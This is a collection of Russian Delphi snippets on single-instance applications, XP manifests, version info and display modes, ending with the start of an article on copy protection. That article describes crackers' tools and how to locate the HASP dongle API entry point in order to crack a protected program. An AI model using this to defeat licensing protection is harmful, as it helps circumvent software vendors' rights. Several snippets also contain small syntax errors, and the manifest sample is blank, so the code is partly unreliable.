    Label1: TLabel;
    CloseBtn: TButton;
    procedure CloseBtnClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  MainForm: TMainForm;

implementation

uses MultInst;

{$R *.DFM}

procedure TMainForm.CloseBtnClick(Sender: TObject);
begin
  Close;
end;

end.


---------------------------------------------------

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Запуск одной копии приложения (Mutex-базированный)

Единственная функция Init_Mutex этого модуля (only_one.pas) создает мьютекс
с именем, переданным в параметре mid.
Возврат: true, если мьютекс создан (запущен первый экземпляр приложения)
или false, если уже имеется мьютекс с подобным именем (mid).

Особенности:
1. даже при "гибели" приложения все, относящиеся к нему мьютексы удаляются
с большой степенью вероятности.
2. Желательно "отметить" приложение в системе так, как указано в примере.
При таком подходе Ваше приложение почти со стапроцентной вероятностью
не будет запущено два раза.

Зависимости: Windows
Автор:       Роман Василенко, romix@nm.ru, Пятигорск
Copyright:   Роман Василенко
Дата:        14 июня 2002 г.
***************************************************** }

unit Only_One;

interface

function Init_Mutex(mid: string): boolean;

implementation

uses Windows;

var
  mut: thandle;

function mut_id(s: string): string;
var
  f: integer;
begin
  result := s;
  for f := 1 to length(s) do
    if result[f] = '\' then
      result[f] := '_';
end;

function Init_Mutex(mid: string): boolean;
begin
  Mut := CreateMutex(nil, false, pchar(mut_id(mid)));
  Result := not ((Mut = 0) or (GetLastError = ERROR_ALREADY_EXISTS));
end;

initialization
  mut := 0;
finalization
  if mut <> 0 then
    CloseHandle(mut);
end.

Пример использования:

program MyProgram;

uses
  only_one,
  Unit1 in 'Unit1.pas' {Form1},
  Unit2 in 'Unit2.pas' {dm: TDataModule},
  Unit3 in 'Unit3.pas' {Form3},

{$R *.RES}

const
  UniqueString = 'MyProgramMutex';
    {Может быть любое слово. Желательно латинскими буквами.}

  begin
    if not init_mutex(UniqueString) then
      exit; {Выходим до инициализации, если мьютекс уже есть}
    Application.Initialize;
    Application.CreateForm(TForm1, Form1);
    Application.CreateForm(Tdm, dm);
    Application.CreateForm(TForm3, Form3);
    Application.Run;
  end.

  --------------------------------------------------------


  program Previns;
uses
  WinTypes,
  WinProcs,
  SysUtils,
  Forms,
  Uprevins in 'UPREVINS.PAS' {Form1};
{$R *.RES}

type
  PHWND = ^HWND;

function EnumFunc(Wnd: HWND; TargetWindow: PHWND): bool; export;
var
  ClassName: array[0..30] of char;
begin
  Result := true;
  if GetWindowWord(Wnd, GWW_HINSTANCE) = hPrevInst then
  begin
    GetClassName(Wnd, ClassName, 30);
    if StrIComp(ClassName, 'TApplication') = 0 then
    begin
      TargetWindow^ := Wnd;
      Result := false;
    end;
  end;
end;

procedure GotoPreviousInstance;
var
  PrevInstWnd: HWND;
begin
  PrevInstWnd := 0;
  EnumWindows(@EnumFunc, Longint(@PrevInstWnd));
  if PrevInstWnd <> 0 then
    if IsIconic(PrevInstWnd) then
      ShowWindow(PrevInstWnd, SW_RESTORE)
    else
      BringWindowToTop(PrevInstWnd);
end;

begin
  if hPrevInst <> 0 then
    GotoPreviousInstance
  else
  begin
    Application.CreateForm(TForm1, Form1);
    Application.Run;
  end;
end.



-------------------------------------------


...
uses syncobjs;
...
var
  CheckEvent: TEvent;

...

procedure TForm1.FormCreate(Sender: TObject);
begin
  CheckEvent := TEvent.Create(nil, false, true, 'MYPROGRAM_CHECKEXIST');
  if CheckEvent.WaitFor(10) <> wrSignaled then
  begin
    // Сюда попадаем если одна копия уже запущена.
    // Можно, например, сообщить об этом пользователю.
    Self.Close; // Здесь можно завершить программу или сделать еще что-нибудь.
  end;
end;

------------------------------------



program Project1;

uses
  Forms,
  Windows,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

var
  hwnd: THandle;

begin
  hwnd := FindWindow('TForm1', 'Form1');
  if hwnd = 0 then
  begin
    Application.Initialize;
    Application.CreateForm(TForm1, Form1);
    Application.Run;
  end
  else
    SetForegroundWindow(hwnd)
end.



---------------------------------



program pds;

uses
  Windows,
  Forms,
  Main in 'MAIN.PAS' {MainForm},

const
  MemFileSize = 127;
  MemFileName = 'one_example';

var
  MemHnd: HWND;

{$R *.RES}

begin

  MemHnd := CreateFileMapping(HWND($FFFFFFFF), nil,
    PAGE_READWRITE, 0, MemFileSize,
    MemFileName);
  if GetLastError <> ERROR_ALREADY_EXISTS then
  begin
    Application.Initialize;
    with TForm1.Create(nil) do
    try
      Show;
      Update;
      Application.CreateForm(TMainForm, MainForm);
    finally
      Free;
    end;
    Application.Run;
  end
  else
    Application.MessageBox('Приложение уже запущено (возможно оно свернуто
      на панели задач): Нажмите кнопку ОК для продолжения работы',
      'Производственно-диспетчерская служба', MB_OK);
  CloseHandle(MemHnd);
end.



-----------------------------------------------


ActivatePrevInstance('TForm1','Значение Caption ');


------------------------------------------------


У меня есть элементарный вариант, проще не бывает. Предлагаемый мной модуль только определяет запущена программа
 или нет. Я не стал усложнять этот модуль автоматическим изменением имени семафора на случай если две программы
захотят использовать этот модуль одновременно. Имея самые скромные навыки в программировании можно придумать семафору
 своё уникальное имя и переписать его в previnst.pas вовсе не обязательно семафор называть AbraShvabra.

Использование:
В модуле program в части Uses нужно добавить previnst и вы получаете переменную ммм: boolean которая true если
копия программы уже запущена.

Пример:

program Project1;

uses
  previnst, windows, Forms,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}
begin
  if mmm then
  begin
    ShowWindow(FindWindow('tform1', 'Имя окна которое активизировать'),
      SW_restore);

    SetForegroundWindow(FindWindow('tform1', 'Имя окна которое
      активизировать'));

      halt; //завершить программу не создавая ничего.
  end;

  //Тело программы прогры

  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.


содержание модуля previnst.pas

unit Previnst;

interface

uses Windows;

var
  mmm: boolean; //эта переменная если true то программа уже запущена

implementation

var
  hMutex: integer;
begin
  mmm := false;
  hMutex := CreateMutex(nil, TRUE, 'AbraShvabra'); // Создаем семафор
  if GetLastError <> 0 then
    mmm := true; // Ошибка семафор уже создан
  ReleaseMutex(hMutex);
end.


----------------------------------------------



Предоставленное разработчиками Delphi 2 Пачекой (Pacheco) и Тайхайрой (Teixeira) и значительно переработанное.

unit multinst;
{

Применение:
Необходимый код в исходном проекте

if InitInstance then
begin
Application.Initialize;
Application.CreateForm(TFrmSelProject, FrmSelProject);
Application.Run;
end;
Это все понятно (я надеюсь)
}

interface

uses Forms, Windows, Dialogs, SysUtils;

const

  MI_NO_ERROR = 0;
  MI_FAIL_SUBCLASS = 1;
  MI_FAIL_CREATE_MUTEX = 2;

  { Проверка правильности запуска приложения с помощью описанных ниже функций. }
  { Количество флагов ошибок MI_* может быть более одного. }

function GetMIError: Integer;
function InitInstance: Boolean;

implementation

const

  UniqueAppStr: PChar; {Различное для каждого приложения}

var

  MessageId: Integer;
  WProc: TFNWndProc = nil;
  MutHandle: THandle = 0;
  MIError: Integer = 0;

function GetMIError: Integer;
begin

  Result := MIError;
end;

function NewWndProc(Handle: HWND; Msg: Integer; wParam,

  lParam: Longint): Longint; stdcall;
begin

  { Если это - сообщение о регистрации... }

  if Msg = MessageID then
  begin
    { если основная форма минимизирована, восстанавливаем ее }

{ передаем фокус приложению }
    if IsIconic(Application.Handle) then
    begin
      Application.MainForm.WindowState := wsNormal;
      ShowWindow(Application.Mainform.Handle, sw_restore);
    end;
    SetForegroundWindow(Application.MainForm.Handle);
  end
    { В противном случае посылаем сообщение предыдущему окну }
  else
    Result := CallWindowProc(WProc, Handle, Msg, wParam, lParam);
end;

procedure SubClassApplication;
begin

  { Обязательная процедура. Необходима, чтобы обработчик }
  { Application.OnMessage был доступен для использования. }
  WProc := TFNWndProc(SetWindowLong(Application.Handle, GWL_WNDPROC,
    Longint(@NewWndProc)));
  { Если происходит ошибка, устанавливаем подходящий флаг }
  if WProc = nil then
    MIError := MIError or MI_FAIL_SUBCLASS;
end;

procedure DoFirstInstance;
begin

  SubClassApplication;
  MutHandle := CreateMutex(nil, False, UniqueAppStr);
  if MutHandle = 0 then
    MIError := MIError or MI_FAIL_CREATE_MUTEX;
end;

procedure BroadcastFocusMessage;
{ Процедура вызывается, если уже имеется запущенная копия Вашей программы. }
var

  BSMRecipients: DWORD;
begin
  { Не показываем основную форму }

  Application.ShowMainForm := False;
  { Посылаем другому приложению сообщение и информируем о необходимости }
  { перевести фокус на себя }
  BSMRecipients := BSM_APPLICATIONS;
  BroadCastSystemMessage(BSF_IGNORECURRENTTASK or BSF_POSTMESSAGE,
    @BSMRecipients, MessageID, 0, 0);
end;

function InitInstance: Boolean;
begin

  MutHandle := OpenMutex(MUTEX_ALL_ACCESS, False, UniqueAppStr);
  if MutHandle = 0 then
  begin
    { Объект Mutex еще не создан, означая, что еще не создано }

{ другое приложение. }
    ShowWindow(Application.Handle, SW_ShowNormal);
    Application.ShowMainForm := True;
    DoFirstInstance;
    result := True;
  end
  else
  begin
    BroadcastFocusMessage;
    result := False;
  end;
end;

initialization
  begin

    UniqueAppStr := Application.Exexname;
    MessageID := RegisterWindowMessage(UniqueAppStr);
    ShowWindow(Application.Handle, SW_Hide);
    Application.ShowMainForm := FALSE;
  end;

finalization
  begin

    if WProc <> nil then
      { Приводим приложение в исходное состояние }

      SetWindowLong(Application.Handle, GWL_WNDPROC, LongInt(WProc));
  end;
end.



---------------------------------------------


var
  MutexHandle: THandle;
var
  UniqueKey: string;

function IsNextInstance: BOOLEAN;
begin

  Result := FALSE;

  MutexHandle := 0;
  MutexHandle := CREATEMUTEX(nil, TRUE, UniqueKey);
  if MutexHandle <> 0 then
  begin
    if GetLastError = ERROR_ALREADY_EXISTS then
    begin
      Result := TRUE;
      CLOSEHANDLE(MutexHandle);
      MutexHandle := 0;
    end;
  end;
end;

begin

  CmdShow := SW_HIDE;
  MessageId := RegisterWindowMessage(zAppName);
  Application.Initialize;
  if IsNextInstance then
    PostMessage(HWND_BROADCAST, MessageId, 0, 0)
  else
  begin
    Application.ShowMainForm := FALSE;
    Application.CreateForm(TMainForm, MainForm);
    MainForm.StartTimer.Enabled := TRUE;
    Application.Run;
  end;
  if MutexHandle <> 0 then
    CLOSEHANDLE(MutexHandle);
end.


В MainForm вам необходимо вставить обработчик внутреннего сообщения

procedure TMainForm.OnAppMessage(var M: TMSG; var Ret: BOOLEAN);
begin
  if M.Message = MessageId then
  begin
    Ret := TRUE;
    // Поместить окно наверх !!!!!!!!
  end;
end;

initialization
  ShowWindow(Application.Handle, SW_Hide);
end.
К заголовку




" Использовать визуальный стиль XP для своего приложения
{
  To benefit from the new look and feel (Visual Styles) for the Windows XP
  environment, you must include a Manifest in your application.
  (Either as resource or as file in the same directory where your application
  resides)

  The manifest is a XML document. It will allow Windows XP to decide which
  version of the comctl32.dll to use when binding.
  The XML document contains information about the application you are
  writing as well as information concerning the version of the comctl32.dll to use.

  The following instruction shows how to
   * create the manifest document
   * create the XP resource file
   * include the file in your application

  The steps 1-4 show how to create the files.
  You can also download the manifest and resource file from the
  Demo-download.

}

 {
  Damit eine Anwendung das neue Look-and-Feel (Visual Styles) von Windows XP
  annimmt, muss eine Manifest Datei in der Applikation enthalten sein.
  (Entweder als Ressource oder im gleichen Verzeichnis, wo sich die Applikation
  befindet)

  Das Manifest ist ein XML Dokument.
  Wenn Windows dieses in einer EXE Datei vorfindet, wird automatisch die Version 6
  von comctl32.dll geladen und die Controls erscheinen im XP Design.

  Die Folgende Anleitung zeigt, wie man
  * das manifest Dokument erstellt
  * die Ressourcen Datei erstellt
  * die Ressource in die Anwendung einbindet.

  Das Manifest und die Ressourcen Datei konnen auch uber das "Demo-Download" heruntergeladen
  werden. Dann konnen die Schritte 1-4 ausgelassen werden.
}


 {1)
  Copy this sample manifest and paste it into notepad or any text editor.
  Kopiere das Beispiel Manifest und fuge es in einen Texteditor ein (z.B Notepad}


 
 
 
 Your Application Description
 
     
         
     
 
 

 {2)
  To customize to fit your application, replace "name" from assemblyIdentity and the
  "description" string with your own data. Then save the file as WinXP.manifest

  Andere im Manifest den "name" von assemblyIdentity und die
  "description" mit eigenen Angaben. Speichere das Manifest als WinXP.manifest}

 {3)
  Create another file which contains instructions to include the
  WinXP.manifest (XML) document.
  The contents of the WinXP.rc looks like this:

  Erstelle eine weitere Datei, welche die Instruktionen zur Erstellung
  der Ressourcen Datei enthalt.
  Der Inhalt von WinXP.rc schaut so aus:}


   1 24 "WinXP.manifest"


 {4)

  Now we need to use Delphi''s resource compiler (brcc32.exe) to compile the WinXP.rc file.
  Doing so will result in a WinXP.res
  From the command line, type the following:

  Compilire nun mit Borland''s Resource Compiler (brcc32.exe),
  die Datei WinXP.rc. Es wird dann eine WinXP.res Datei erstellt.
  Gibt im MS-DOS Prompt, im Verzeichnis wo sich WinXP.rc befindet, nun folgendes ein:}

   brcc32 WinXP.rc


 (*5)
   Now include the resource in your application.
   Include the following compiler directive:
   immediately after {$R *.DFM}:

   Nun muss noch eine Compiler Directive dem Sourcecode hinzugefugt werden.
   Der Eintrag sollte unmittelbar nach der Form Directive {$R *.DFM} folgen,
   so wie hier:*)

   {$R WinXP.res}


 {6)
  Compile your application and run it!
  Compiliere die Anwendung und starte sie!}


 {7)
  Test it if it runs correctly.
  Note that some controls don''t adapt the new XP design such
   as TGroupBox, TSpeedButton and some others.
   If you use the TListView component with the view style of vsReport, have a look at this tip:
   http://www.swissdelphicenter.ch/de/showcode.php?id=1117

  Uberpruf nun, ob die Anwendung korrekt lauft. Einige Controls nehmen das neue XP Design
   nicht an (TGroupBox, TSpeedButton und andere)
   Bei der ListView mit vsReport Style muss dies beachtet werden:
   http://www.swissdelphicenter.ch/de/showcode.php?id=1117
}
К заголовку




" Использовать параметры запуска программы
{
 Paramstr(1) is the first parameter
 Paramstr(0) is the full program path

 Paramstr(1) ist der erste ubergebene Parameter
 Paramstr(0) Pfad der Anwendung
}


 procedure TForm1.FormShow(Sender: TObject);
 var
   parameter: string;
 begin
   parameter := ParamStr(1);
   if parameter = '/message' then
   begin
     ShowMessage('Parameter /message.');
   end;
   if parameter = '' then
   begin
     ShowMessage('No parameter.');
   end;
 end;
К заголовку




" Как вытащить VersionInfo из свойств проекта
function CurrentFileInfo(NameApp: string): string;
var
  dump: DWORD;
  size: integer;
  buffer: PChar;
  VersionPointer, TransBuffer: PChar;
  Temp: integer;
  CalcLangCharSet: string;
begin
  size := GetFileVersionInfoSize(PChar(NameApp), dump);
  buffer := StrAlloc(size+1);
  try
    GetFileVersionInfo(PChar(NameApp), 0, size, buffer);

    VerQueryValue(buffer, '\VarFileInfo\Translation', pointer(TransBuffer),
    dump);
    if dump >= 4 then
    begin
      temp:=0;
      StrLCopy(@temp, TransBuffer, 2);
      CalcLangCharSet:=IntToHex(temp, 4);
      StrLCopy(@temp, TransBuffer+2, 2);
      CalcLangCharSet := CalcLangCharSet+IntToHex(temp, 4);
    end;

    VerQueryValue(buffer, pchar('\StringFileInfo\'+CalcLangCharSet+
    '\'+'FileVersion'), pointer(VersionPointer), dump);
    if (dump > 1) then
    begin
      SetLength(Result, dump);
      StrLCopy(Pchar(Result), VersionPointer, dump);
    end
    else
      Result := '0.0.0.0';
  finally
    StrDispose(Buffer);
  end;
end;


К заголовку




" Как держать приложение в минимизированном виде
Если вам понадобилось, чтобы ваше присутствие ощущалось, но окно вашего приложения не показывалось пользователю ;-] , тогда делайте так:

В частных объявлениях [раздел private] объявляем процедуру

private
  { Private declarations }
  procedure WMQueryOpen(var Msg: TWMQueryOpen); message WM_QUERYOPEN;


А после слова implementation описываем её так:

procedure TForm1.WMQueryOpen(var Msg: TWMQueryOpen);
begin
  Msg.Result := 0;
end;


Ещё нужно свойство формы WindowState установить в wsMinimized, дабы окно изначально появилось на панели задач.
К заголовку




" Как запустить приложение в полноэкранном режиме
Запуск приложения в полноэкранном режиме означает, что окно приложения полностью занимает рабочий стол. Это бывает
необходимо для обеспечения поддержки функции акселератора видеокарты, которая может ускорить работу только полной
области экрана, но не только, к примеру, если вам необходимо сделать только вашу программу видимой для пользователя.
Кстати: Полноэкранный запуск в общих чертах имеет отношение не только к OpenGL, DirectX и 3D. Строго говоря
полноэкранный режим требует только установки флага состояния окна wsMaximize, и все.

Но есть другой вопрос, подразумеваемый требованиями для полноэкранных приложений. Это наличие возможности выбора
пользователем специфического разрешения экрана и глубины цвета или возможность запуска приложения в фиксированном
разрешении. Последнее важно в каждом конкретном случае, поскольку не все видеокарты поддерживают все разрешения и
часто игра или другое 3D-приложение хотят работать в другом разрешении (в основном на более низком),
чем пользователь использует в каждодневной работе.

Так что полностью вопрос читается так: как запустить полноэкранное приложение в специфичном разрешении экрана и
глубине цвета (без перезагрузки)? Ключевым пунктом является функция ChangeDisplaySettings. В зависимости от
видеодрайвера, вы можете динамически установить один из множества режимов, не перегружая компьютер:

function SetFullscreenMode(ModeIndex: Integer): Boolean;
// изменение видеорежима, задаваемого 'ModeIndex'
var
  DeviceMode: TDevMode;
begin
  with DeviceMode do
  begin
    dmSize := SizeOf(DeviceMode);
    dmBitsPerPel := VideoModes[ModeIndex].ColorDepth;
    dmPelsWidth := VideoModes[ModeIndex].Width;
    dmPelsHeight := VideoModes[ModeIndex].Height;
    dmFields := DM_BITSPERPEL or DM_PELSWIDTH or DM_PELSHEIGHT;
    // при неудачной смене режима переходим в режим текущего разрешения
    Result := ChangeDisplaySettings(DeviceMode, CDS_FULLSCREEN) =
      DISP_CHANGE_SUCCESSFUL;
    if Result then
      ScreenModeChanged := True;
    if ModeIndex = 0 then
      ScreenModeChanged := False;
  end;
end;


Если вы обратили внимание, в этом примере присутствует глобальная переменная VideoModes. Ее наличие обусловлено
необходимостью перечисления всех доступных режимов, которые могут быть установлены динамически и загружены в
структуру, подобную VideoModes для гарантии использования только описанных режимов:

const MaxVideoModes = 200; // это не очень актуально
type TVideoMode = record
Width,
Height,
ColorDepth  : Word;
Description : String[20];
end;
var VideoModes    : array[0..MaxVideoModes] of TVideoMode;
NumberVideomodes  : Integer = 1; // 1, поскольку есть режим по умолчанию


Как вы видите, это делает наш пример более функциональным для использования. При необходимомости, вы можете заменить в
вышеуказанной функции VideoModes на фиксированные значения (скажем, на 640, 480, 16). Перечисление всех видеорежимов
осуществляется при помощи EnumDisplaySettings:

procedure ReadVideoModes;
var
  I, ModeNumber: Integer;

  done: Boolean;
  DeviceMode: TDevMode;
  DeskDC: HDC;

begin

  // создание режима "по умолчанию"
  with VideoModes[0] do
  try
    DeskDC := GetDC(0);
    ColorDepth := GetDeviceCaps(DeskDC, BITSPIXEL);
    Width := Screen.Width;
    Height := Screen.Height;
    Description := 'default';
  finally
    ReleaseDC(0, DeskDC);
  end;

  // перечисляем все доступные видеорежимы
  ModeNumber := 0;
  done := False;
  repeat
    done := not EnumDisplaySettings(nil, ModeNumber, DeviceMode);
    TryToAddToList(DeviceMode);
    Inc(ModeNumber);
  until (done or (NumberVideomodes >= MaxVideoModes));

  // режимы низкого разрешения не всегда перечислимы, о них запрашивают явно
  with DeviceMode do
  begin
    dmBitsPerPel := 8;
    dmPelsWidth := 42;
    dmPelsHeight := 37;
    dmFields := DM_BITSPERPEL or DM_PELSWIDTH or DM_PELSHEIGHT;
    // тест видеодрайвера: убедимся, что он справится со всеми видеорежимами
    if ChangeDisplaySettings(DeviceMode, CDS_TEST or CDS_FULLSCREEN) <>
      DISP_CHANGE_SUCCESSFUL then
    begin
      I := 0;
      while (I < NumberLowResModes - 1) and (NumberVideoModes < MaxVideoModes)
        do
      begin
        dmSize := Sizeof(DeviceMode);
        dmBitsPerPel := LowResModes[I].ColorDepth;
        dmPelsWidth := LowResModes[I].Width;
        dmPelsHeight := LowResModes[I].Height;
        dmFields := DM_BITSPERPEL or DM_PELSWIDTH or DM_PELSHEIGHT;
        TryToAddToList(DeviceMode);
        Inc(I);
      end;
    end;
  end;
end;


Я думаю эта функция не тяжела для понимания. Есть две части, которые нужно рассмотреть. Сначала - стандартный путь
перечисления видеорежимов. Потом проверям, что все режимы низкого разрешения также протестированы. Это все-таки потребует
список режимов низкого разрешения:

type TLowResMode = record

Width,
Height,
ColorDepth  : Word;
end;

const NumberLowResModes = 60;

LowResModes       : array[0..NumberLowResModes-1] of TLowResMode =
((Width:320;Height:200;ColorDepth: 8),(Width:320;Height:200;ColorDepth:15),
(Width:320;Height:200;ColorDepth:16),(Width:320;Height:200;ColorDepth:24),
(Width:320;Height:200;ColorDepth:32),(Width:320;Height:240;ColorDepth: 8),
(Width:320;Height:240;ColorDepth:15),(Width:320;Height:240;ColorDepth:16),
(Width:320;Height:240;ColorDepth:24),(Width:320;Height:240;ColorDepth:32),
(Width:320;Height:350;ColorDepth: 8),(Width:320;Height:350;ColorDepth:15),
(Width:320;Height:350;ColorDepth:16),(Width:320;Height:350;ColorDepth:24),
(Width:320;Height:350;ColorDepth:32),(Width:320;Height:400;ColorDepth: 8),
(Width:320;Height:400;ColorDepth:15),(Width:320;Height:400;ColorDepth:16),
(Width:320;Height:400;ColorDepth:24),(Width:320;Height:400;ColorDepth:32),
(Width:320;Height:480;ColorDepth: 8),(Width:320;Height:480;ColorDepth:15),
(Width:320;Height:480;ColorDepth:16),(Width:320;Height:480;ColorDepth:24),
(Width:320;Height:480;ColorDepth:32),(Width:360;Height:200;ColorDepth: 8),
(Width:360;Height:200;ColorDepth:15),(Width:360;Height:200;ColorDepth:16),
(Width:360;Height:200;ColorDepth:24),(Width:360;Height:200;ColorDepth:32),
(Width:360;Height:240;ColorDepth: 8),(Width:360;Height:240;ColorDepth:15),
(Width:360;Height:240;ColorDepth:16),(Width:360;Height:240;ColorDepth:24),
(Width:360;Height:240;ColorDepth:32),(Width:360;Height:350;ColorDepth: 8),
(Width:360;Height:350;ColorDepth:15),(Width:360;Height:350;ColorDepth:16),
(Width:360;Height:350;ColorDepth:24),(Width:360;Height:350;ColorDepth:32),
(Width:360;Height:400;ColorDepth: 8),(Width:360;Height:400;ColorDepth:15),
(Width:360;Height:400;ColorDepth:16),(Width:360;Height:400;ColorDepth:24),
(Width:360;Height:400;ColorDepth:32),(Width:360;Height:480;ColorDepth: 8),
(Width:360;Height:480;ColorDepth:15),(Width:360;Height:480;ColorDepth:16),
(Width:360;Height:480;ColorDepth:24),(Width:360;Height:480;ColorDepth:32),
(Width:400;Height:300;ColorDepth: 8),(Width:400;Height:300;ColorDepth:15),
(Width:400;Height:300;ColorDepth:16),(Width:400;Height:300;ColorDepth:24),
(Width:400;Height:300;ColorDepth:32),(Width:512;Height:384;ColorDepth: 8),
(Width:512;Height:384;ColorDepth:15),(Width:512;Height:384;ColorDepth:16),
(Width:512;Height:384;ColorDepth:24),(Width:512;Height:384;ColorDepth:32));


И остается функция TryToAddToList:

procedure TryToAddToList(DeviceMode: TDevMode);
// Добавление видеорежима к списку, это это не дубликат
// и режим действительно может быть установлен.
var
  I: Integer;
begin
  // Смотрим на предмет дублирования видеорежима (такое может быть из-за показателя
  // частоты смены кадров или из-за того, что мы явно пробуем все режимы низкого разрешения)
  for I := 1 to NumberVideomodes - 1 do
    with DeviceMode do
      if ((dmBitsPerPel = VideoModes[I].ColorDepth) and
        (dmPelsWidth = VideoModes[I].Width) and
        (dmPelsHeight = VideoModes[I].Height)) then
        Exit; // повтор видеорежима (дубликат)

  // устанавливаем тестируемый режим (на самом деле мы не устанавливаем данный режим,
  // а хотим получить сообщение о его поддержке видеокартой).
  if ChangeDisplaySettings(DeviceMode, CDS_TEST or CDS_FULLSCREEN) <>
    DISP_CHANGE_SUCCESSFUL then
    Exit;

  // если это новый, поддерживаемый режим, то добавляем его к списку
  with DeviceMode do
  begin
    VideoModes[NumberVideomodes].ColorDepth := dmBitsPerPel;
    VideoModes[NumberVideomodes].Width := dmPelsWidth;
    VideoModes[NumberVideomodes].Height := dmPelsHeight;
    VideoModes[NumberVideomodes].Description := Format('%d x %d, %d bpp',
      [dmPelsWidth, dmPelsHeight, dmBitsPerPel]);
  end;
  Inc(NumberVideomodes);
end;


Для завершения реализации вашего проекта необходима функция, восстанавливающий видеорежим по умолчанию при завершении
работы вашего приложения:

procedure RestoreDefaultMode;
// восстанавливаем видеорежим по умолчанию
var T : TDevMode absolute 0; // маленькая хитрость: создаем указатель на ноль
begin
// Так как первый параметр является переменной, мы не можем использовать ноль
// непосредственно. Взамен мы используем переменную с абсолютным адресом нуля.
ChangeDisplaySettings(T,CDS_FULLSCREEN);
end;

К заголовку




" Как заставить приложение запускаться в минимизированном состоянии
Объект Delphi Application создает скрытое "application window" (окно приложения), и именно ему, а не главному окну
приложения посылается команда "показать минимизированным". Чтобы обойти эту проблему, поместите следующую строчку в
обработчик события OnCreate вашей главной формы:

ShowWindow(Handle, cmdShow);

---------------------------------------


// Проверьте глобальную переменную CmdShow для того чтобы определить, в каком
// состоянии запускается приложение, и модифицируйте ее как вам необходимо:

     procedure TForm1.FormCreate(Sender: TObject);
     begin
       if CmdShow = SW_SHOWMINNOACTIVE then WindowState := wsMinimized;
     end;

// Hапример, если необходимо запускать приложение либо минимизированным, либо
// максимизированным, используйте следующий код:

     procedure TForm1.FormCreate(Sender: TObject);
     begin
       if CmdShow = SW_SHOWMINNOACTIVE then WindowState := wsMinimized
       else WindowState := wsMaximized;
     end;



К заголовку




" Как написать программу, которую будет дешевле купить, чем сломать
Предисловие

Я решил написать небольшую серию статей (2,3 статьи) на тему "Написание защиты от копирования". Если быть честным,
то это будет, скорее всего, дележка опытом на тему "Как написать программу, которую будет дешевле купить, чем сломать".
Сразу скажу, что я не собираюсь делиться исходными текстами, но не потому, что я жадный. Просто то, о чем я буду
говорить – это описание предметной области той задачи, которую я сформулировал выше. Видя дальнейшие споры на это
тему, скажу, что это всего лишь мое мнение, т.е. мое видение этой области и буду рад узнать другие мнения. Учится,
всегда пригодится!

Почему я решил поведать свое мнение? В различных конференциях и журналах можно легко найти мнения либо программеров,
либо взломщиков-кракеров о той или иной защите. Я не кракер, но имею кое-какой опыт в этом деле, как, в общем-то, и в
защите от ломки. Возможно, это выглядит неправдоподобно – "Ломает, но не кракер". Тогда уточню, я не профессиональный
кракер. А по моему опыту могу сказать, что людей, профессионально совмещающих, и ломку, и написание чего-нибудь стоящего,
я не встречал (хотя возможно такие люди есть). И в той и в другой области есть инструментарий и определенные наработки.
Но надо держать руку на пульсе, чтобы быть достаточно квалифицированным для работы. Новые инструменты, статьи, примеры
программ, алгоритмов, новые шифры и дыры к ним – все это лучше иметь свеженьким. А на это уходит время, очень много времени!

Но, я что-то отвлекся. Итак, что же я предлагаю. Если Вы хоть раз в своей жизни, по честному, с нуля, ломанули
какую-нибудь прогу. Если для Вас слова IDA, HIEW, SOFTICE непросто термины, которые Вам известны. Если Вы профессионально
занимаетесь ломкой. Если да - не теряйте времени, не читайте мою статью. Здесь для Вас не будет ничего нового.
Для остальных, а я думаю такие найдутся, я поведаю о возможностях современных средств взлома, т.е. о возможностях
Ваших потенциальных противников. Я буду очень стараться, чтобы это было просто и интересно. Начнем???

Начало

Дыра – это просто ничто,
Но вы можете в ней сломать шею.
О.О'Мелли

"Давным-давно, когда в мире не было еще интегральных схем. Когда мыши еще бегали по полу и жили в норах. Когда люди
знакомились по телефону или на улице и называли себя настоящими именами. В те стародавние времена жили тараканы. Так вот,
именно в те времена группа тараканов во главе с … черт, имя забыл! Так вот, они вознамерились помешать прогрессу
человеческой мысли. Прослышали они, что люди построили БОЛЬШИЕ счеты и что питаются эти счеты исключительно тараканами.
то стало с этими доблестными тараканами - история умалчивает. Но доподлинно известно, что некоторые из них, проникнув в
первые машинные залы, попадали под беспощадные электромеханические реле. Англичане почему-то называли тараканов BUGS.
Только не зря гибли доблестные таракашки. Смертью своей они не позволяли электричеству бежать дальше. Так тараканы победили
электричество. И с тех пор их называют БАГАМИ, а процесс их обнаружения ДЕБАГИРОВАНИЕ или отладка.
Уже потом баги стали мельчать и очень хорошо прятаться. Потребовалось создание нескольких поколений процессоров, чтобы
научится ловить баги. Ходят слухи, что некоторые самые мелкие баги прокрались в процессоры и порождают более крупные баги.
Как баги размножаются науке не известно. Но зато известно, как их поймать." (Записано со слов Chlora, он же Guga)

Итак, проведем небольшой обзор самых распространенных средств отладки. Потому как именно эти средства в первую очередь
используются кракерами для анализа защиты.

Первое средство – декомпилятор. Процесс перевода из двоичного вида в символьный, на языке команд какого-нибудь языка.
Например, дизассемблеры, деклиппер, obj2asm и многие другие. Эти вещи появились раньше отладчиков, т.к. в начале не было
архитектуры со встроенными средствами отлаживания программ. И тем ни менее эти средства дошли и до наших дней.

В чем их неудобство:

   1. Неверное определение размеров данных. Ну, например, если в программе есть цикл с использованием оператора
MOV AL, BYTE PTR DS:[BX]. Тогда дизассемблер поймет, что туда, куда обращается оператор можно представить как единый блок,
например строка STR DB '0123'. Если же Вы обращаетесь туда черте как, как это делают языки высокого уровня, то вы
 получите вот что:


Byte1 db 30h ;'0'
Byte2 db 31h ;'1'
Byte3 db 32h ;'2'
Byte4 db 33h ;'3'


   2. Как это может навредить? Например, вы дизассемблировали программу закрытую HASP ключом. Чтобы ее взломать,
вам нужно найти точку входа в HASP API. Она находится сразу за строкой HASPDOSDRV. Черта лысого вы найдете ее после
дизассемблирования!
   3. Отсутствие динамики. Статичный анализ. Т.е. если данные в программе зашифрованы, то декомпилятор их не расшифрует!
Огромное количество незначимых для Вас команд! Невозможность посмотреть регистры, стек и память! Ну и т.д.

В чем преимущество:

   1. Возможность изменения исходного кода программы.
   2. Невозможность обнаружения.

Что я здесь имел ввиду. Редко, но бывает необходимым внесения крупных изменений в код программы. Прямая вставка двоичных
кодов не помогает, т.к. нарушается расположения меток перехода и процедур. Понимаете? Программа – это линейка кода, по
которой нам надо ходить нелинейно, прыгать с определенным смещением. Если линейка удлиняется из-за добавления чего-то в
середине, все наши смещения будут показывать не туда куда надо. Повторная перекомпиляция вписывает новые смещения для
